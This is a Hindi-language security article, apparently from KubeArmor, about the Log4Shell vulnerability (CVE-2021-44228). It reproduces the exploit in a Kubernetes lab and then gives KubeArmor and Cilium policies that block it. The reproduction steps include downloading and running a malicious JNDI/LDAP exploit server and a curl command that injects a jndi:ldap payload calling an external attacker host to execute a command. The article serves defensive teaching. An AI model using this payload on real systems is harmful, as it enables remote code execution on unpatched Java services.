Apache Log4j जीरो डे उर्फ Log4Shell उर्फ CVE-2021-44228

• परिचय
• k8s वातावरण में समस्या का पुनरुत्पादन
  • भेद्यता वाले k8s वातावरण की स्थापना
• संभावित समाधान
  • KubeArmor सुरक्षा नीति
    • JVM/Java से किसी भी exec की अनुमति न देना
    • डिफ़ॉल्ट अस्वीकार-आधारित नियम
    • पॉड्स में KubeArmor दृश्यता/अवलोकन
  • Cilium नेटवर्क नीति
    • RMI पोर्ट तक पहुंच प्रतिबंधित करना
• भविष्य के जीरो-डे को रोकना
  • ज़ीरो ट्रस्ट आसन लॉग4जे भेद्यता के दुरुपयोग को कैसे रोक सकता है?
  • KubeArmor और ज़ीरो ट्रस्ट
• क्रेडिट

परिचय

9 दिसंबर, 2021 को, दुनिया एक नई भेद्यता से अवगत हुई जिसे CVE-2021-44228 के रूप में पहचाना गया, जो Apache Java लॉगिंग पैकेज log4j को प्रभावित करती है। इस भेद्यता ने गंभीरता स्कोर 10.0 (सबसे महत्वपूर्ण पदनाम) अर्जित किया और उन होस्टों पर सरल दूरस्थ कोड निष्पादन प्रदान करती है जो इस log4j संस्करण का उपयोग करने वाले सॉफ़्टवेयर से जुड़ते हैं। "Log4Shell" इस हमले को दिया गया नाम है।

आज, log4j संस्करण 2.15.0rc2 उपलब्ध है और इस भेद्यता को पैच करता है। हालाँकि, इस भेद्यता का भारी खतरा इस बात के कारण है कि लॉगिंग पैकेज कितना सर्वव्यापी है। लाखों अनुप्रयोगों के साथ-साथ सॉफ़्टवेयर प्रदाता अपने कोड में इस पैकेज को निर्भरता के रूप में उपयोग करते हैं।

ज्ञात सबसे प्रारंभिक पहचान: 2021-12-01 04:36:50 UTC

प्रभावित संस्करण:

• Log4j <= 2.14.1
• Apache: 2.0 <= Apache log4j <= 2.14.1

कौन प्रभावित है?

• प्रभाव: जिस उपयोगकर्ता के रूप में मूल प्रक्रिया चल रही है, उसके रूप में मनमाना कोड निष्पादन (सार्वजनिक इंटरनेट से लाया गया कोड, या सिस्टम पर पहले से मौजूद lolbins, या केवल साझा रहस्यों या पर्यावरण चरों को प्राप्त करके हमलावर को वापस भेजना)।

• लक्ष्य: सर्वर और क्लाइंट जो Java चलाते हैं और log4j फ्रेमवर्क का उपयोग करके कुछ भी लॉग करते हैं - मुख्य रूप से सर्वर-साइड चिंता, लेकिन कोई भी कमजोर एंडपॉइंट लक्ष्य या पिवट पॉइंट हो सकता है।

• डाउनस्ट्रीम प्रोजेक्ट्स: जब तक अन्यथा सिद्ध न हो, मान लें कि log4j शामिल करने वाली कोई भी चीज़ - जिसमें Elasticsearch, Apache Struts / Solr / Druid / Flink आदि शामिल हैं - इस तरह से प्रभावित है जिसके लिए शमन की आवश्यकता है।

• प्रभावित संस्करण: log4j 2.x पुष्टि - log4j 1.x केवल अप्रत्यक्ष रूप से (पिछली सूचना प्रकटीकरण भेद्यताएं) (कुछ कॉन्फ़िगरेशन में)

• उपकरण: उन उपकरणों को न भूलें जो Java सर्वर घटकों का उपयोग कर सकते हैं, लेकिन अप्रमाणित भेद्यता स्कैनिंग द्वारा उनका पता नहीं लगाया जाएगा

• लॉग फ़ॉरवर्डिंग: लॉगिंग इन्फ्रास्ट्रक्चर में अक्सर कई "उत्तरमुखी" (मेरे लॉग किसी को भेजें) और "दक्षिणमुखी" (किसी से लॉग प्राप्त करना) फ़ॉरवर्डिंग/रिलेइंग टोपोलॉजी होती हैं। शोषण के लिए उन्हें एक साथ जोड़ने पर भी विचार किया जाना चाहिए।

• क्लाउड: कई बड़े प्रदाता भी प्रभावित हैं (CVE-2021-44228 के लिए कमजोर सॉफ़्टवेयर और सेवाओं की एक समुदाय-क्यूरेटेड सूची इस GitHub रिपॉजिटरी में पाई जा सकती है)।

k8s वातावरण में समस्या का पुनरुत्पादन

भेद्यता वाले k8s वातावरण की स्थापना

चरण #1: कुबेरनेट्स में Log4j के लिए कमजोर संबंधित सेवाओं वाले पॉड को तैनात करना

git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml

• तैनाती की जांच करने और बाहरी IP प्राप्त करने के लिए निम्न आदेश टाइप करें:

kubectl get po,svc

• आपको इस तरह आउटपुट देखने में सक्षम होना चाहिए

NAME                              READY   STATUS    RESTARTS   AGE
pod/log4j-demo-5d7c84d8b9-vs8ck   1/1     Running   0          1h30m

NAME                 TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
service/kubernetes   ClusterIP      10.112.0.1     <none>          443/TCP        4h44m
service/log4j-svc    LoadBalancer   10.112.8.158   35.241.165.36   80:30202/TCP   1h30m

कृपया ध्यान दें हमने default नेमस्पेस में कमजोर Log4Shell नमूना एप्लिकेशन तैनात किया है

चरण #2: दुर्भावनापूर्ण LDAP सर्वर डाउनलोड करना

wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar

चरण #3: अपने PC या क्लाउड VM पर इनकमिंग ट्रैफिक के लिए LDAP सर्वर शुरू करना

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888

प्राइवेट IP hostname -I का उपयोग करके क्वेरी किया जा सकता है।
सुनिश्चित करें कि आपका फ़ायरवॉल पोर्ट 1389 और 8888 के लिए ट्रैफिक की अनुमति देता है

चरण #4: cURL कमांड का उपयोग करके शोषण

# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

यहाँ, पहला IP हमारा k8s बाहरी IP है (चरण #1) जहाँ कमजोर नमूना एप्लिकेशन चल रहा है।
दूसरा IP दुर्भावनापूर्ण LDAP सर्वर का बाहरी IP है (चरण #2)

चरण #5: फ़ाइल /tmp/pwned के निर्माण की जाँच करके पुष्टि

kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp

log4j-demo-5d7c84d8b9-vs8ck को चरण #1 के आउटपुट से अपने पॉड से बदलें।
आपको /tmp निर्देशिका के अंदर pwned के रूप में बनाई गई एक फ़ाइल देखने में सक्षम होना चाहिए।

संभावित समाधान

KubeArmor सुरक्षा नीति

KubeArmor एक रनटाइम सुरक्षा प्लेटफ़ॉर्म है जो सुरक्षा/DevSecOps टीमों को एप्लिकेशन/सिस्टम-आधारित नियंत्रणों (जैसे प्रक्रिया स्पॉनिंग को सीमित करना, फ़ाइल सिस्टम पहुंच को सीमित करना, पॉड क्षमताओं को सीमित करना आदि) का उपयोग करके अपने वर्कलोड की सुरक्षा करने में मदद कर सकता है। KubeArmor में एक दृश्यता मोड है जिसका उपयोग करके एप्लिकेशन/सुरक्षा टीम दृश्यता सक्षम कर सकती है जिससे पता चलता है कि पॉड के अंदर क्या हो रहा है अर्थात्, कौन सी प्रक्रियाएँ स्पॉन की गई हैं, कौन से फ़ाइल एक्सेस का प्रयास किया गया है आदि। KubeArmor के बारे में सबसे बड़ा लाभ यह है कि एक उपयोगकर्ता के रूप में आप ऐसी नीतियाँ भी सबमिट कर सकते हैं जो ऐसे सिस्टम संचालन को रोक/ब्लॉक/अस्वीकार कर सकती हैं।

आमतौर पर एक हमलावर आंतरिक डेटा को बाहर निकालने या क्रिप्टोमाइनिंग के लिए या केवल आंतरिक ऐप्स में तबाही मचाने के इरादे से घुसपैठ करता है। इन सभी मामलों में, हमलावर को एक मनमाना प्रोग्राम निष्पादित करने की आवश्यकता होती है जो अपने दुर्भावनापूर्ण इरादे को पूरा कर सके। Log4j भेद्यता हमलावर को आंतरिक नेटवर्क के भीतर एक बाइनरी रखने की अनुमति देती है। हालाँकि, ऐसी गार्डरेल लगाई जा सकती हैं ताकि JVM को प्रक्रियाएँ स्पॉन करने की अनुमति न हो।

JVM/Java से किसी भी exec की अनुमति न देना

निम्नलिखित एक KubeArmor नीति है जो पॉड में Java एप्लिकेशन की चाइल्ड प्रक्रिया के रूप में किसी भी प्रक्रिया को फ़ोर्क किए जाने से अस्वीकार/रोक सकती है।

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: do-not-allow-exec-from-java
spec:
  severity: high
  message: "disallow execing from java process"
  selector:
    matchLabels:
      app: log4j2
  process:
    matchPaths:
    - path: * #disaallow all paths from the java process
      fromSource:
      - path: /opt/openjdk-16/bin/java
  action:
    Block

ध्यान दें कि यहाँ क्रिया Block है। fromSource शर्त पर भी ध्यान दें जो कहती है कि केवल दी गई प्रक्रिया से exec को अस्वीकार किया जाना चाहिए। अनिवार्य रूप से, केवल Java/JVM की चाइल्ड प्रक्रियाओं को exec से वंचित किया जाना चाहिए। अन्य टूलिंग के विपरीत, KubeArmor में रनटाइम पर सिस्टम संचालन को Block करने की क्षमता है।

डिफ़ॉल्ट अस्वीकार-आधारित नियम

कई मामलों में, कुछ मौजूदा प्रक्रियाएँ हो सकती हैं जिन्हें अभी भी Java/JVM द्वारा स्पॉन करने की आवश्यकता होती है। ऐसे मामलों में, ऐसी प्रक्रियाओं को Allow करना सबसे अच्छा है। इन प्रक्रियाओं को अनुमति देकर, KubeArmor डिफ़ॉल्ट रूप से उस मूल प्रक्रिया के भाग के रूप में अन्य सभी प्रक्रियाओं को निष्पादित करने से अस्वीकार करता है:

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: do-not-allow-exec-from-java
spec:
  severity: high
  message: "disallow execing from java process"
  selector:
    matchLabels:
      app: log4j2
  process:
    matchPaths:
    - path: /usr/local/bin/myapp
      fromSource:
      - path: /opt/openjdk-16/bin/java
    - path: /usr/local/bin/log4j
      fromSource:
      - path: /opt/openjdk-16/bin/java
  action:
    Allow

इस उदाहरण में, myapp और log4j प्रक्रियाओं को अभी भी Java प्रक्रिया द्वारा स्पॉन करने की अनुमति है, लेकिन शेष सभी प्रक्रियाओं को अस्वीकार कर दिया गया है।

पॉड्स में KubeArmor दृश्यता/अवलोकन

उपरोक्त नीतियों को देखकर, स्वाभाविक रूप से कोई सोचेगा कि मुझे अनुमति/अस्वीकार करने के लिए प्रक्रिया स्पेक कैसे मिलेगा। यहीं KubeArmor का दृश्यता मोड काम आता है:

== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed

JVM/Java प्रक्रिया से स्पॉन की गई किसी भी प्रक्रिया को अवरुद्ध करने के परिणामस्वरूप निम्नलिखित अलर्ट होता है, जबकि execve को अस्वीकार कर दिया जाता है (ध्यान दें कि KubeArmor एक प्रवर्तन इंजन है):

== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed

Cilium नेटवर्क नीति

Cilium टीम पहले ही k8s env में log4j के लिए शोषण को रोकने के लिए नेटवर्क नीतियों का उपयोग करके अपना विश्लेषण प्रस्तुत कर चुकी है। अनिवार्य रूप से, रोकथाम नीतियों का उद्देश्य यह सुनिश्चित करना है कि DNS के लिए सबसे कम अनुमति वाली नीतियाँ लागू की जाएँ ताकि उस दायरे से बाहर कुछ भी निषिद्ध हो।

इस संदर्भ में एक सुरक्षा टीम के लिए एक चुनौती पॉड द्वारा कनेक्टेड सभी संभावित FQDN का पता लगाना हो सकता है। Cilium समृद्ध नेटवर्क दृश्यता प्रदान करता है जिसका उपयोग करके कोई व्यक्ति पॉड द्वारा एक्सेस किए गए FQDN के विस्तृत सेट के साथ आ सकता है।

उन नीतियों के अलावा कुछ अन्य निवारक नीतियाँ भी हैं जिन्हें अपनाया जा सकता है।

RMI पोर्ट तक पहुंच प्रतिबंधित करना

RMI एक कार्यक्षमता है जिसका अधिकांश संगठनों द्वारा कम से कम उपयोग किया जाता है। log4j के मामले में, RMI डिफ़ॉल्ट रूप से सक्षम है और अधिकांश संगठन परवाह नहीं कर सकते हैं यदि इसे पूरी तरह से अक्षम कर दिया जाए। इसलिए यदि आपका संगठन सक्रिय रूप से उस सुविधा का उपयोग नहीं कर रहा है, तो इसे पूरी तरह से अक्षम करना सबसे अच्छा है। निम्नलिखित Cilium नीति का उपयोग किया जा सकता है:

apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
  name: "L4_rule_to_block_RMI_access"
spec:
  endpointSelector:
    matchLabels:
      app: log4j2
  ingress:
  - fromEndpoints:
    toPorts:
    - ports:
      - port: "1099"
        protocol: TCP

... जहाँ 1099 डिफ़ॉल्ट RMI पोर्ट है।

भविष्य के जीरो-डे को रोकना

ऊपर दर्शाए गए प्रकार के नियम पूर्वदृष्टि में आसानी से कल्पना किए जा सकते हैं।

स्पष्ट अगला प्रश्न यह है कि भविष्य में ऐसी भेद्यताओं के दुरुपयोग की संभावना को कैसे रोका जाए।

मनमाना कोड निष्पादन एक प्रमुख हमला मोड है और किसी को यह परिभाषित करने पर ध्यान देना चाहिए कि कोड को "मनमाना" क्या बनाता है। संदर्भ में मनमाना को किसी भी चीज़ के रूप में परिभाषित किया जा सकता है जो सामान्य निष्पादन संदर्भ में नहीं है।

ज़ीरो-ट्रस्ट (ZTNA) आर्किटेक्चर का उपयोग करने के लिए किसी को एक न्यूनतम-अनुमति नीति सेट निर्दिष्ट करने की आवश्यकता होती है जो केवल श्वेतसूचीबद्ध क्रियाओं की अनुमति देता है और बाकी सब कुछ अस्वीकार करता है। इस प्रकार, ज़ीरो-ट्रस्ट आसन होने से एक संगठन को ऐसे हमलों की संभावनाओं से प्रभावी ढंग से बचाया जा सकता है।

हालाँकि, व्यवहार में ज़ीरो-ट्रस्ट प्राप्त करना अधिक चुनौतीपूर्ण है। ज़ीरो-ट्रस्ट के लिए आवश्यक है कि एक संगठन के पास उपयुक्त स्वचालन, सॉफ़्टवेयर तैनाती प्रक्रियाएँ सही उपकरणों के साथ हों। कुछ बिंदु जिन पर विचार किया जा सकता है:

• लचीला नीति प्रवर्तन इंजन होना पर्याप्त नहीं है। उन नीति इंजनों के साथ जाने वाला न्यूनतम अनुमति नीति सेट कैसे प्राप्त करें?
• यदि कोई डेवलपर ऐप में बदलाव करता है, तो क्या आपके पास नए नियमों को शामिल करने की एक स्वचालित प्रक्रिया है जो ऐप में बदलाव के कारण बदल गए हों?
• क्या संगठन के पास एक लचीला EDR/XDR है जो DevSecOps और सुरक्षा टीमों को सही घटनाओं पर ध्यान केंद्रित करने की अनुमति देता है?

ज़ीरो ट्रस्ट आसन लॉग4जे भेद्यता के दुरुपयोग को कैसे रोक सकता है?

नेटवर्क और एप्लिकेशन/सिस्टम में एक ज़ीरो-ट्रस्ट आसन को निम्नानुसार परिभाषित किया जा सकता है:

1. केवल उन इनग्रेस/एग्रेस कनेक्शनों की अनुमति दें जिन्हें एप्लिकेशन को बनाना/संभालना है।
2. केवल उन प्रक्रिया निष्पादनों की अनुमति दें जो अनुमत सूची में हैं।
3. केवल उन फ़ाइल-सिस्टम पथ एक्सेस की अनुमति दें जिनकी एप्लिकेशन को आवश्यकता है।
4. केवल उन सिस्टम क्षमताओं की अनुमति दें जो एप्लिकेशन की सामान्य आवश्यकताओं के लिए आवश्यक हैं।
5. यह आसन प्राप्त करना कहने में आसान है, करने में कठिन।

KubeArmor और ज़ीरो ट्रस्ट

KubeArmor एक लचीला नीति प्रवर्तन इंजन प्रदान करता है जो सही नीति खोज/सिफारिश उपकरणों के साथ जुड़ा हुआ है जो एक संगठन को उपरोक्त प्रश्नों का उत्तर देने में सटीक रूप से मदद करता है। Accuknox ने नीति इंजनों को मूल डिज़ाइन सिद्धांतों को ध्यान में रखते हुए बनाया है अर्थात्, प्रत्येक नीति इंजन को अवलोकन, ऑडिटिंग (ड्राई-रन) और प्रवर्तन विकल्पों का समर्थन करना चाहिए।

अवलोकन नीति खोज इंजन के साथ मिलकर एक संगठन को आवश्यक न्यूनतम-अनुमति नीति सेटिंग्स प्रदान कर सकता है।

यदि आप अपने k8s क्लस्टर पर अपने वर्कलोड के साथ नीति-खोज इंजन आज़माना चाहते हैं, तो कृपया प्लेबुक का पालन करें।